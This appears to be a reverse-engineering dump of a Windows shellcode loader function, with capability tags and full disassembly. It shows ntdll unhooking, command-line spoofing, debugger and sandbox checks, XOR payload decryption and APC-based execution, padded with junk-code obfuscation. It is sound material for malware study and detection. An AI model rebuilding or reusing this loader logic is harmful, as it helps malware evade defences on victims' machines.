Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x7d8
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x780], ecx
mov qword [rbp + 0x788], rdx
call fcn.140002a00
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x6e0], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x6d8], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x6d0], rax
mov dword [rbp + 0x74c], 0xffffffff
mov ecx, 0x1758
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6c8], rax
add dword [rbp + 0x74c], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400055e0]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x74c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6c8]
add rax, rdx
movsd xmm1, qword [0x1400055e8]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x74c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6c8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x74c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x6c8]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_asin
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x74c], 0x2e9
jle 0x1400014de
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x740], rax
cmp qword [rbp + 0x740], 0
jne 0x1400015f1
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x740], rax
cmp qword [rbp + 0x740], 0
je 0x140001da9
mov ecx, 0x838
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6c0], rax
mov dword [rbp + 0x73c], 0
jmp 0x14000165a
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x73c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6c0]
add rax, rdx
movsd xmm1, qword [0x1400055e0]
divsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x73c], 1
cmp dword [rbp + 0x73c], 0x106
jle 0x14000161c
mov dword [rbp + 0x73c], 0
jmp 0x1400016f7
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, edx
mov eax, dword [rbp + 0x73c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6c0]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x73c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x6c0]
lea rbx, [rcx + rdx]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.1400039f0
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x73c], 1
cmp dword [rbp + 0x73c], 0x106
jle 0x140001675
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x560]
mov rax, qword [rbp + 0x6d0]
mov r10, qword [rbp + 0x740]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x560]
mov qword [rbp + 0x6b8], rax
mov dword [rbp + 0x730], 0
mov ecx, 0x3860
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6b0], rax
mov dword [rbp + 0x738], 0
jmp 0x1400017f7
mov dword [rbp + 0x734], 0
jmp 0x1400017e7
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x607b9e63
shr rdx, 0x20
mov ecx, edx
sar ecx, 0xa
cdq
sub ecx, edx
imul edx, ecx, 0xa9d
sub eax, edx
mov ecx, eax
mov eax, dword [rbp + 0x738]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x6b0]
add rdx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, ecx
mov eax, dword [rbp + 0x734]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x734], 1
cmp dword [rbp + 0x734], 0x51
jle 0x14000177b
add dword [rbp + 0x738], 1
cmp dword [rbp + 0x738], 0x2b
jle 0x14000176f
mov dword [rbp + 0x738], 0
jmp 0x140001885
mov dword [rbp + 0x734], 0
jmp 0x140001875
pxor xmm1, xmm1
cvtsi2ss xmm1, dword [rbp + 0x730]
mov eax, dword [rbp + 0x738]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x6b0]
add rdx, rax
mov eax, dword [rbp + 0x734]
cdqe
movss xmm0, dword [rdx + rax*4]
addss xmm0, xmm1
cvttss2si eax, xmm0
mov dword [rbp + 0x730], eax
add dword [rbp + 0x734], 1
cmp dword [rbp + 0x734], 0x51
jle 0x14000181c
add dword [rbp + 0x738], 1
cmp dword [rbp + 0x738], 0x2b
jle 0x140001810
mov rax, qword [rbp + 0x6b0]
mov rcx, rax
call sub.msvcrt.dll_free
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x6a8], rax
mov rax, qword [rbp + 0x6a8]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x6a0], rax
mov rax, qword [rbp + 0x6a0]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x698], rax
mov rax, qword [rbp + 0x6b8]
mov qword [rbp + 0x690], rax
mov rax, qword [rbp + 0x690]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x6b8]
add rax, rdx
mov qword [rbp + 0x688], rax
mov dword [rbp + 0x72c], 0xffffffff
mov ecx, 0x1628
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x680], rax
add dword [rbp + 0x72c], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400055e0]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x72c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x680]
add rax, rdx
movsd xmm1, qword [0x1400055e8]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x72c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x680]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0x72c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x680]
add rax, rdx
movq xmm1, qword [0x1400055f0]
andpd xmm0, xmm1
movsd qword [rax], xmm0
cmp dword [rbp + 0x72c], 0x2c3
jle 0x140001998
mov word [rbp + 0x72a], 0
jmp 0x140001d91
mov ecx, 0x1180
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x678], rax
mov ecx, 0x1180
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x670], rax
mov ecx, 0x1180
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x668], rax
mov dword [rbp + 0x724], 0
jmp 0x140001b62
mov dword [rbp + 0x720], 0
jmp 0x140001b4e
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x7d0
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x724]
cdqe
shl rax, 6
mov rcx, rax
mov rax, qword [rbp + 0x678]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x720]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x7d0
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x724]
cdqe
shl rax, 6
mov rcx, rax
mov rax, qword [rbp + 0x670]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x720]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x720], 1
cmp dword [rbp + 0x720], 0xf
jle 0x140001a9d
add dword [rbp + 0x724], 1
cmp dword [rbp + 0x724], 0x45
jle 0x140001a8e
mov dword [rbp + 0x724], 0
jmp 0x140001c1b
mov dword [rbp + 0x720], 0
jmp 0x140001c07
mov eax, dword [rbp + 0x724]
cdqe
shl rax, 6
mov rdx, rax
mov rax, qword [rbp + 0x678]
add rdx, rax
mov eax, dword [rbp + 0x720]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x724]
cdqe
shl rax, 6
mov rdx, rax
mov rax, qword [rbp + 0x670]
add rdx, rax
mov eax, dword [rbp + 0x720]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x724]
cdqe
shl rax, 6
mov rdx, rax
mov rax, qword [rbp + 0x668]
add rdx, rax
subss xmm0, xmm1
mov eax, dword [rbp + 0x720]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x720], 1
cmp dword [rbp + 0x720], 0xf
jle 0x140001b8a
add dword [rbp + 0x724], 1
cmp dword [rbp + 0x724], 0x45
jle 0x140001b7e
mov rax, qword [rbp + 0x678]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x670]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x668]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x688]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x688]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x72a]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x660], rax
mov rax, qword [rbp + 0x660]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001d80
mov dword [rbp + 0x524], 0
mov rax, qword [rbp + 0x660]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x660]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x6b8]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x524]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x660]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x660]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x698]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x660]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x6b8]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x524]
mov rax, qword [rbp + 0x660]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x660]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x6b8]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x524]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x72a]
add eax, 1
mov word [rbp + 0x72a], ax
mov rax, qword [rbp + 0x688]
movzx eax, word [rax + 6]
cmp word [rbp + 0x72a], ax
jb 0x140001a4c
mov dword [rbp + 0x71c], 0x1c2
jmp 0x140001dbc
sub dword [rbp + 0x71c], 1
cmp dword [rbp + 0x71c], 0
jg 0x140001db5
mov ecx, 0x4d0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x658], rax
mov dword [rbp + 0x718], 0
jmp 0x140001e30
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400055e0]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x718]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x658]
add rax, rdx
movsd xmm1, qword [0x1400055e8]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x718], 1
cmp dword [rbp + 0x718], 0x99
jle 0x140001de2
mov dword [rbp + 0x718], 0
jmp 0x140001e9a
mov eax, dword [rbp + 0x718]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x658]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x718]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x658]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_asin
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x718], 1
cmp dword [rbp + 0x718], 0x99
jle 0x140001e48
mov dword [rbp + 0x52c], 0
mov rax, qword [rbp + 0x6e0]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x650], rax
mov ecx, 0xd00
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x648], rax
mov dword [rbp + 0x714], 0
jmp 0x140001f3b
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x714]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x648]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2710
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x714], 1
cmp dword [rbp + 0x714], 0x33f
jle 0x140001eee
mov dword [rbp + 0x714], 0
jmp 0x14000202b
cmp dword [rbp + 0x714], 0
je 0x140001f9b
mov eax, dword [rbp + 0x714]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x648]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0x714]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x648]
add rax, rcx
mov eax, dword [rax]
cmp edx, eax
jg 0x140001fa7
add dword [rbp + 0x714], 1
jmp 0x14000202b
mov eax, dword [rbp + 0x714]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x648]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x57c], eax
mov eax, dword [rbp + 0x714]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x648]
add rax, rdx
mov edx, dword [rbp + 0x714]
movsxd rdx, edx
shl rdx, 2
lea rcx, [rdx - 4]
mov rdx, qword [rbp + 0x648]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x714]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x648]
add rdx, rax
mov eax, dword [rbp + 0x57c]
mov dword [rdx], eax
sub dword [rbp + 0x714], 1
cmp dword [rbp + 0x714], 0x33f
jle 0x140001f56
mov rax, qword [rbp + 0x648]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x530]
lea rax, [rbp + 0x52c]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x650]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x538]
add rax, 0x3c
mov qword [rbp + 0x640], rax
mov rax, qword [rbp + 0x640]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x640]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov dword [rbp + 0x528], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x638], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x528]
mov r8, qword [rbp + 0x638]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x528]
cmp eax, 1
je 0x14000293c
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x630], rax
cmp qword [rbp + 0x630], 0
je 0x140002178
mov rax, qword [rbp + 0x630]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x628], rax
mov rax, qword [rbp + 0x628]
mov ecx, 0
call rax
mov dword [rbp + 0x710], eax
cmp dword [rbp + 0x710], 0xffffffff
je 0x14000293c
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x620], rax
mov rax, qword [rbp + 0x620]
call rax
mov dword [rbp + 0x61c], eax
mov ecx, 0x25c
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x620]
call rax
mov dword [rbp + 0x618], eax
mov eax, dword [rbp + 0x618]
sub eax, dword [rbp + 0x61c]
cmp eax, 0x22a
jbe 0x14000293c
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x610], rax
mov rax, qword [rbp + 0x610]
call rax
mov dword [rbp + 0x60c], eax
mov ecx, 0x2fb
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x610]
call rax
mov dword [rbp + 0x608], eax
mov eax, dword [rbp + 0x608]
sub eax, dword [rbp + 0x60c]
cmp eax, 0x2c9
jbe 0x14000293c
lea rax, str.spvfllhunqzres.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x600], rax
cmp qword [rbp + 0x600], 0
jne 0x14000293c
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5f8], rax
mov rax, qword [rbp + 0x5f8]
mov ecx, 0
call rax
mov dword [rbp + 0x5f4], eax
cmp dword [rbp + 0x5f4], 0xffffffff
je 0x14000293c
mov dword [rbp + 0x520], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5e8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x520]
mov r8, qword [rbp + 0x5e8]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x520]
cmp eax, 1
je 0x14000293c
mov qword [rbp + 0x708], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x5e0], rax
cmp qword [rbp + 0x5e0], 0
je 0x1400023da
mov rax, qword [rbp + 0x5e0]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5d8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x5d8]
mov r9d, 0x3000
mov r8d, 0x3fd
mov edx, 0
call rax
mov qword [rbp + 0x708], rax
cmp qword [rbp + 0x708], 0
je 0x14000293c
mov ecx, 0x617
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x617
jne 0x14000293c
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x5d0], rax
cmp qword [rbp + 0x5d0], 0
je 0x14000293c
mov rax, qword [rbp + 0x5d0]
mov edx, 0x4a6
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x5cc], eax
lea rax, [rbp + 0x80]
lea rdx, [0x140005148]
mov ecx, 0x92
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
mov rax, qword [rbp + 0x6d8]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5c0], rax
mov rax, qword [rbp + 0x6d8]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5b8], rax
mov rax, qword [rbp + 0x5c0]
mov r8d, 0
mov edx, 0x493
mov ecx, 0x40000
call rax
mov qword [rbp + 0x5b0], rax
mov rax, qword [rbp + 0x5b0]
mov r9, qword [rbp + 0x5b8]
mov r8d, 0x493
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x5a8], rax
mov rax, qword [rbp + 0x6e0]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5a0], rax
lea rdx, [rbp + 0x80]
mov rax, qword [rbp + 0x5a8]
mov r9, qword [rbp + 0x5a0]
mov r8d, 0x493
mov rcx, rax
call r9
mov dword [rbp + 0x700], 0x64
jmp 0x140002572
sub dword [rbp + 0x700], 1
cmp dword [rbp + 0x700], 0
jg 0x14000256b
mov dword [rbp + 0x6fc], 0
mov dword [rbp + 0x6f8], 0
movabs rax, 0xde87d93520cb22c4
movabs rdx, 0xf018b776515f4212
mov qword [rbp], rax
mov qword [rbp + 8], rdx
movabs rax, 0xa4981d380c09dda
movabs rdx, 0x308f6611687900e7
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rdx
movabs rax, 0xd60c1d8ec8be0a44
movabs rdx, 0xf6edec5ae4700edb
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
movabs rax, 0xf28c8b23f6edec
mov qword [rbp + 0x2d], rax
movabs rax, 0x6a32555b1c9020eb
movabs rdx, 0xcea1cae902c37536
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
movabs rax, 0x21c10ee53118a21f
movabs rdx, 0x377ca6315db1427b
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movabs rax, 0xd2da76a65f88c123
movabs rdx, 0x97f45af9d6caf3e2
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0xb4f20596a9b897
mov qword [rbp + 0x6f], rax
mov dword [rbp + 0x704], 0
jmp 0x1400026d2
cmp dword [rbp + 0x6fc], 0x35
jne 0x14000269c
mov eax, dword [rbp + 0x704]
cdqe
movzx edx, byte [rbp + rax]
mov eax, dword [rbp + 0x6fc]
cdqe
movzx eax, byte [rbp + rax + 0x40]
xor edx, eax
mov eax, dword [rbp + 0x704]
cdqe
mov byte [rbp + rax - 0x40], dl
mov dword [rbp + 0x6fc], 0
jmp 0x1400026cb
mov eax, dword [rbp + 0x704]
cdqe
movzx edx, byte [rbp + rax]
mov eax, dword [rbp + 0x6fc]
cdqe
movzx eax, byte [rbp + rax + 0x40]
xor edx, eax
mov eax, dword [rbp + 0x704]
cdqe
mov byte [rbp + rax - 0x40], dl
add dword [rbp + 0x6fc], 1
add dword [rbp + 0x704], 1
mov eax, dword [rbp + 0x704]
cmp eax, 0x33
jbe 0x14000265f
mov dword [rbp + 0x704], 0
jmp 0x1400028a3
mov ecx, 0x9fc
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x580], rax
mov dword [rbp + 0x6f0], 0
mov dword [rbp + 0x6ec], 0
mov dword [rbp + 0x6f4], 0
jmp 0x14000276a
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x6f4]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x580]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x14f8b589
shr rdx, 0x20
sar edx, 0xd
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x186a0
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x6f4], 1
cmp dword [rbp + 0x6f4], 0x27e
jle 0x14000271d
mov dword [rbp + 0x6f4], 0
mov dword [rbp + 0x6f4], 0
jmp 0x1400027e9
mov eax, dword [rbp + 0x6f4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x580]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
je 0x1400027b8
add dword [rbp + 0x6f0], 1
jmp 0x1400027e2
mov eax, dword [rbp + 0x6f4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x580]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
jne 0x1400027e2
add dword [rbp + 0x6ec], 1
add dword [rbp + 0x6f4], 1
cmp dword [rbp + 0x6f4], 0x27e
jle 0x14000278c
mov rax, qword [rbp + 0x580]
mov rcx, rax
call sub.msvcrt.dll_free
cmp dword [rbp + 0x6f8], 0x33
jne 0x140002857
mov eax, dword [rbp + 0x704]
movsxd rdx, eax
mov rax, qword [rbp + 0x5a8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x6f8]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x704]
movsxd rdx, eax
mov rax, qword [rbp + 0x5a8]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x6f8], 0
jmp 0x14000289c
mov eax, dword [rbp + 0x704]
movsxd rdx, eax
mov rax, qword [rbp + 0x5a8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x6f8]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x704]
movsxd rdx, eax
mov rax, qword [rbp + 0x5a8]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
add dword [rbp + 0x6f8], 1
add dword [rbp + 0x704], 1
cmp dword [rbp + 0x704], 0x492
jle 0x1400026ec
mov rax, qword [rbp + 0x5a8]
mov qword [rbp + 0x598], rax
mov rax, qword [rbp + 0x6d8]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x590], rax
mov rax, qword [rbp + 0x6d8]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x588], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x598]
mov r9, qword [rbp + 0x590]
mov r8d, 0
mov rcx, rax
call r9
